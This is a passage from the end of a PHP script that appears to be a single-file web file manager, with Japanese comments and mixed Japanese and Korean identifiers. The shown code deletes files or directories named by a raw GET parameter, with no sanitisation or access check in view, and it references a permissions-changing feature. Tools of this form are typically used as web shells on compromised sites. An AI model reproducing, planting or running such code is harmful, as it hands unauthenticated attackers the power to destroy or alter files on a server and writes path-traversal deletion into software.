echo ("<script>alert('Invalid permissions format. Please use 3-digit octal format (e.g., 755, 644).'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
}
}
}
/**
* ファイル・フォルダの削除機能
* dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除
*/
if (isset($_GET['d']) && isset($_GET['q'])) {
/**
* 削除対象のファイル・フォルダの完全パス
*/
$名前 = PATH . "/" . $_GET['d'];
/**
* ファイルの場合の削除処理
*/
if (is_file($名前)) {
if(unlink($名前)) {
echo ("<script>alert('File removed.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
}
/**
* ディレクトリの場合の削除処理
*/
elseif (is_dir($名前)) {
if(rmdir($名前) == true) {
echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . 경로인코딩(PATH) . "');</script>");
}
}
}
?>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>